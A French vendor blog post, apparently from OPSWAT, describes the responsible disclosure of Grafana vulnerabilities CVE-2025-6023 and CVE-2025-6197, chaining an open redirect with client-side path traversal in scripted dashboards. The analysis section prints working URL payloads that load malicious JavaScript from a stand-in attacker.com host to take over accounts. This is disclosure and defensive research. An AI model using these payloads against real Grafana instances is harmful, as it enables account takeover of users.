Grafana est une plateforme open-source de premier plan pour la visualisation de données, l'analyse et la surveillance, qui permet aux utilisateurs de créer des tableaux de bord interactifs en agrégeant des données provenant de sources multiples. Avec plus de 68 000 étoiles sur GitHub et des millions de téléchargements via Docker Hub et d'autres dépôts, Grafana est devenu un composant essentiel des piles de surveillance modernes dans tous les secteurs.
Son adoption généralisée et son rôle critique dans la surveillance des infrastructures font de Grafana une cible de choix pour les acteurs de la menace. Il est essentiel de le sécuriser pour protéger l'intégrité et la disponibilité des environnements de surveillance dans les entreprises.
Chez OPSWAT, nous contribuons activement à la communauté de la sécurité en recherchant et en divulguant de manière responsable des vulnérabilités dans des plateformes largement utilisées comme Grafana. En 2021, CVE-2021-39226, une vulnérabilité critique a été découverte et divulguée de manière responsable par TheBlackTurtle, un membre de l'unité 515 d'OPSWAT .
Outre ces contributions, OPSWAT encourage également la prochaine génération de talents en matière de cybersécurité par le biais d'initiatives de formation pratique. L'un de ces programmes est l'OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, qui offre aux étudiants une expérience pratique de l'identification et de l'analyse des menaces de sécurité dans le monde réel. Dans le cadre de ce programme, une nouvelle vulnérabilité critique dans Grafana, CVE-2025-6023, a été découverte par l'un de nos boursiers au cours d'un projet de recherche indépendant
Programme de bourses OPSWAT et découverte des vulnérabilités critiques
Le programme OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, basé au Vietnam, offre aux étudiants de troisième cycle une expérience pratique de la sécurisation des infrastructures critiques. Les boursiers collaborent activement avec les experts en cybersécurité d'OPSWAT pour relever les défis du monde réel en matière de détection des logiciels malveillants, de sécurité des fichiers et de prévention des menaces.
Dans le cadre de ce programme rigoureux, les participants recherchent, reproduisent et analysent systématiquement les vulnérabilités connues (CVE) dans une variété de produits logiciels, de bibliothèques et de systèmes d'exploitation sous le mentorat des experts d'OPSWAT . Hoa X. Nguyen, l'un de nos boursiers distingués, a choisi Grafana comme thème principal de son projet de recherche.
En juin 2025, lors d'un examen approfondi de CVE-2025-4123 et d'une analyse plus poussée du code source de Grafana, Hoa X. Nguyen a identifié une vulnérabilité précédemment inconnue au sein de la plateforme. Le problème impliquait l'enchaînement d'une faille de redirection ouverte avec une vulnérabilité de traversée de chemin côté client (CSPT), résultant finalement en un Cross-Site Scripting (XSS) et une prise de contrôle complète du compte via un point d'extrémité différent dans Grafana.
En collaborant étroitement avec l'unité 515, nous avons découvert non pas une, mais deux chaînes d'exploitation distinctes pouvant chacune conduire à la compromission totale d'un compte.
OPSWAT a poursuivi sa contribution active en signalant de manière responsable les vulnérabilités à Grafana. Les problèmes ont été rapidement reconnus et des correctifs ont été publiés dans les versions suivantes. Ces vulnérabilités ont ensuite été assignées CVE-2025-6023 et CVE-2025-6197, et ont depuis été publiquement répertoriées dans la base de données nationale des vulnérabilités (National Vulnerability Database - NVD).
Chronologie CVE-2025-6023 & CVE-2025-6197
- June 11, 2025:Hoa X. Nguyen a identifié une vulnérabilité dans la dernière version de Grafana et a soumis un rapport de sécurité à Grafana.
- 11 juin 2025 : Après discussion, Grafana a confirmé la vulnérabilité et a assigné CVE-2025-6023 avec une sévérité élevée.
- 17 juin 2025 :Dat Phung de l'unité 515 a travaillé en étroite collaboration avec Hoa X. Nguyen et a découvert une autre chaîne d'attaque exploitant la vulnérabilité.
- 17 juin 2025 : Grafana a confirmé la seconde vulnérabilité et a attribué à CVE-2025-6197 une gravité moyenne.
- 17 juillet 2025 : Grafana a publié 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 et 11.3.8+security-01, introduisant un correctif amélioré qui corrige efficacement ces vulnérabilités.
- 18 juillet 2025 : La base de données nationale sur les vulnérabilités (National Vulnerability Database, NVD) a officiellement divulgué les CVE-2025-6023 et CVE-2025-6197.
Analyse technique du correctif incomplet et de CVE-2025-6023
En mai 2025, CVE-2025-4123, une vulnérabilité de haute sévérité dans Grafana, a été divulguée par Alvaro Balada. La faille combinait la traversée de chemin côté client avec une redirection ouverte, permettant aux attaquants de livrer des plugins frontaux malveillants qui exécutent un JavaScript arbitraire dans le contexte de confiance de Grafana - résultant en une prise de contrôle complète du compte. Dans les cas où l'accès anonyme était activé, aucune authentification n'était requise. De plus, si le plugin Grafana Image Renderer était installé, l'exploit pouvait s'élever jusqu'à SSRF, exposant les services internes ou les métadonnées du cloud.
Grafana a corrigé le problème avec des mises à jour de sécurité en mai 2025, en introduisant des correctifs dans les versions 12.0.0+security01, 11.6.1+security01, et d'autres à travers les branches 10.x-11.x. Les correctifs comprenaient des améliorations de la politique de sécurité du contenu (CSP) et une vérification plus stricte des redirections.
Dans le cadre du programme OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship, Hoa X. Nguyen a réalisé une analyse complète de CVE-2025-4123. Ses recherches ont porté sur la rétro-ingénierie du flux d'exploitation et l'évaluation de l'efficacité du correctif fourni. Au cours de cette enquête, Hoa a observé que, bien que la vulnérabilité soit fondamentalement une combinaison de redirection ouverte et de traversée de chemin côté client, le correctif pour CVE-2025-4123 n'a traité que la redirection ouverte dans le staticHandler, par le biais d'une vérification de l'assainissement des données introduite dans le commit {ff20b06}.
Toutefois, cette atténuation partielle n'a pas permis de traiter le vecteur d'attaque principal. Le risque sous-jacent demeurait : si un attaquant pouvait identifier un autre point de terminaison vulnérable aux redirections ouvertes, la même chaîne d'exploitation pourrait toujours exister et être utilisée pour prendre le contrôle complet d'un compte - même après le correctif. Avec cette hypothèse à l'esprit, Hoa a effectué un examen plus approfondi du code source de la base de code de Grafana. Grâce à cet effort, il a réussi à identifier un autre point de terminaison vulnérable : /user/auth-tokens/rotate.
Ce point d'accès est conçu pour régénérer les jetons d'authentification expirés. Un paramètre de requête redirectTo est utilisé pour diriger l'utilisateur vers la page de destination après que le jeton a été renouvelé avec succès.
Dans une implémentation classique, l'URL de redirection est construite en concaténant la valeur de configuration Cfg.AppSubURL avec le paramètre redirectTo fourni par l'utilisateur. Cependant, dans la configuration par défaut de Grafana, AppSubURL n'est pas défini. Par conséquent, l'application s'appuie uniquement sur la valeur brute de redirectTo lors de la formation du chemin de redirection.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Pour ce mécanisme de redirection, Grafana tente de réduire les risques de sécurité associés aux entrées fournies par l'utilisateur grâce à une fonction de validation appelée ValidateRedirectTo, qui vise à bloquer les cibles de redirection non sûres - telles que celles commençant par //example.com - en interdisant les doubles barres obliques au début du chemin :
Toutefois, comme l'a démontré la recherche originale d'Alvaro Balada, cette fonction peut être contournée en utilisant une barre oblique suivie d'une barre oblique inverse (par exemple, /\example.com), que les navigateurs modernes interprètent de la même manière que //example.com. Par conséquent, la charge utile suivante peut être utilisée pour réaliser une redirection ouverte, en supposant que l'utilisateur est authentifié :
/user/auth-tokens/rotate?redirectTo=/\example.com
Cette découverte de Hoa X. Nguyen - ainsi que la remédiation incomplète pour CVE-2025-4123 - démontre qu'une prise de contrôle complète d'un compte Grafana reste possible.
Après avoir découvert ce contournement, OPSWAT a rapidement signalé le problème à l'équipe de développement de Grafana. En réponse, Grafana avait déjà identifié l'atténuation précédente comme étant incomplète lors de discussions internes et avait prévu de résoudre le problème dans une prochaine version avant notre rapport. En conséquence, notre rapport a été accepté avec l'attribution d'un nouveau CVE pour la vulnérabilité de redirection ouverte découverte, classée avec une gravité moyenne.
CVE-2025-6023 : Une nouvelle chaîne d'exploitation permettant la prise de contrôle complète d'un compte
CVE-2025-4123 a initialement mis en évidence une vulnérabilité de traversée de chemin côté client (CSPT) dans l'application plugin front-end de Grafana. Dans son rapport initial, Hoa X. Nguyen a combiné ce problème CSPT connu avec une faille de redirection ouverte récemment découverte pour créer une chaîne d'exploitation efficace. Malgré l'impact critique démontré, la vulnérabilité n'a reçu qu'une gravité moyenne, car Grafana avait déjà reconnu en interne la nature incomplète du correctif avant la divulgation de la CSPT.
Cela a incité une enquête plus approfondie pour savoir si d'autres failles CSPT existaient dans la base de code de Grafana qui - lorsqu'elles sont combinées avec la vulnérabilité de redirection ouverte récemment découverte - pourraient permettre une chaîne d'exploitation entièrement indépendante. Si une telle vulnérabilité CSPT était trouvée sur un point final différent, elle pourrait justifier l'attribution du même niveau de gravité élevé que CVE-2025-4123.
Découverte d'un nouveau Endpoint vulnérable
Motivé par cette hypothèse, Hoa a procédé à un examen approfondi du code source de Grafana. Au cours de cette analyse, il a identifié un point de terminaison vulnérable supplémentaire qui permettait la récupération dynamique et l'exécution de scripts à partir de sources arbitraires - sans validation d'entrée appropriée ou sanitization. Ce comportement non sécurisé est associé à la fonctionnalité de script du tableau de bord de Grafana, spécifiquement gérée par la route suivante :
/dashboard/:type/:slug
Cette route est traitée par un middleware responsable de la gestion des scripts du tableau de bord. Plus précisément, le paramètre :slug est utilisé pour charger et exécuter des scripts dynamiquement - sans nettoyage approprié - ce qui permet aux attaquants de créer des URL malveillantes et de recréer potentiellement une chaîne d'exploitation similaire à celle de la CVE-2025-4123.
Analyse du mécanisme de script du tableau de bord
Le mécanisme de script du tableau de bord de Grafana utilise le composant DashboardPageProxy pour traiter les demandes correspondant à la route /dashboard/:type/:slug:
Dans le DashboardPageProxy, le flux d'exécution se déroule comme suit :
Le résultat renvoyé par DashboardPageProxy est dérivé de l'exécution de la méthode stateManager.fetchDashboard(), qui accepte les paramètres uid, type et slug extraits du chemin URL. Afin d'analyser la manière dont cette réponse est construite, Hoa X.Nguyen a examiné l'objet stateManager et la logique de sa méthode fetchDashboard(). Le gestionnaire d'état est instancié via la fonction getDashboardScenePageStateManager(), qui est définie dans le fichier suivant :
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Comme le gestionnaire d'état est initialisé en invoquant la fonction getDashboardScenePageStateManager() sans aucun argument, comme l'illustre la figure 2, on peut conclure que l'objet renvoyé est une instance de la classe UnifiedDashboardScenePageStateManager.
Par conséquent, pour comprendre le comportement de la méthode fetchDashboard(), il a analysé son implémentation dans la classe UnifiedDashboardScenePageStateManager:
Dans la classe UnifiedDashboardScenePageStateManager, la méthode fetchDashboard() invoque d'abord la fonction withVersionHandling(). Cette fonction est chargée de déterminer et de renvoyer l'instance activeManager. Une fois l'instance activeManager construite, elle appelle la méthode fetchDashboard() correspondante sur cette instance, en lui transmettant le paramètre d'options approprié.
L'instance activeManager est soit un objet DashboardScenePageStateManager, soit un objet DashboardScenePageStateManagerV2. Ces deux classes mettent en œuvre une logique similaire pour la récupération des données du tableau de bord. Le code suivant est extrait de la classe DashboardScenePageStateManager:
Dans la méthode fetchDashboard() de la classe DashboardScenePageStateManager, une instruction switch est utilisée pour déterminer la logique de traitement appropriée en fonction du type de route. Dans le cas par défaut, la méthode appelle :
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Cet appel lance le processus de chargement du tableau de bord demandé. L'implémentation de référence de la fonction loadDashboard() se trouve dans le fichier suivant :
/public/app/features/dashboard/services/DashboardLoad
Dans la fonction loadDashboard(), plusieurs contrôles conditionnels sont effectués pour déterminer le flux de traitement approprié. Dans le cas particulier où le type est défini sur "script" et qu'il existe une balise, la fonction est invoquée :
this.loadScriptedDashboard(slug)
Ici, le slug - provenant directement de l'entrée de l'utilisateur - est transmis comme paramètre à la méthode loadScriptedDashboard(). Pour évaluer le flux d'exécution et les éventuelles vulnérabilités introduites par cet appel, M. Hoa a analysé la mise en œuvre de la méthode loadScriptedDashboard() dans la classe DashboardLoaderSrvBase:
Dans la méthode loadScriptedDashboard(), le paramètre slug - illustré dans la figure 2 - est traité comme un nom de fichier (chaîne) et utilisé pour construire le fichier url et est utilisé pour construire la variable url Cependant, ce paramètre n'est pas correctement assaini. L'implémentation applique une expression régulière pour remplacer tous les caractères point (.), sauf ceux immédiatement suivis par"js", par une barre oblique (/). Ce filtrage partiel ne permet pas d'assainir correctement l'entrée, ce qui la rend vulnérable aux attaques par manipulation et traversée de chemin.
Une fois l'URL construite, le script tente de charger le tableau de bord spécifié en invoquant getBackendSrv().get(url). Le script récupéré est ensuite exécuté à l'aide de this.executeScript(code).
Cette analyse a finalement conduit Hoa X. Nguyen à identifier une nouvelle vulnérabilité Client-Side Path Traversal (CSPT) dans la dernière version de Grafana. En raison de l'absence d'assainissement ou de validation des entrées, un attaquant peut manipuler le slug pour créer une URL qui charge et exécute un script malveillant à partir d'une source externe - reproduisant le problème central précédemment identifié dans la CVE-2025-4123 via le chargement de scripts de tableau de bord.
Combiné à la vulnérabilité de redirection ouverte récemment découverte, ce problème permet une chaîne d'exploitation complète capable de prendre le contrôle d'un compte entier. Un exemple de charge utile démontrant cet exploit est le suivant :
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Par exemple :
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
Le fichier malicious.js peut être conçu de manière à modifier l'adresse électronique et le nom d'utilisateur de la victime pour les remplacer par ceux contrôlés par l'attaquant. Cela permettrait à l'attaquant de lancer un processus de réinitialisation du mot de passe vers sa propre adresse électronique, ce qui aboutirait finalement à une prise de contrôle totale du compte :
Preuve de concept pour CVE-2025-6023
Cette vidéo montre l'impact pratique de CVE-2025-6023, en démontrant un scénario de prise de contrôle d'un compte complet affectant les utilisateurs de Grafana, découvert par Hoa X. Nguyen, OPSWAT:
Atténuation et orientation
Pour atténuer les vulnérabilités évoquées ci-dessus, assurez-vous que votre système est mis à jour avec la dernière version de Grafana.
MetaDefender Core utilisant le moteur SBOM peut détecter cette vulnérabilité.
OPSWAT MetaDefender Core, équipé de capacités SBOMSoftware Bill of Materials) avancées, permet aux organisations d'adopter une approche proactive pour faire face aux risques de sécurité. En analysant les applications logicielles et leurs dépendances, MetaDefender Core identifie les vulnérabilités connues, telles que CVE-2025-6023 et CVE-2025-6197, dans les composants listés. Cela permet aux équipes de développement et de sécurité de donner la priorité aux correctifs, en atténuant les risques de sécurité potentiels avant qu'ils ne soient exploités par des acteurs malveillants.
Voici une capture d'écran de CVE-2025-6023 et CVE-2025-6197, qui ont été détectés par MetaDefender Core avec SBOM :
En outre, les CVE peuvent également être détectés par MetaDefender Software Supply Chainqui s'appuie sur MetaDefender Core et SBOM pour identifier ces vulnérabilités.
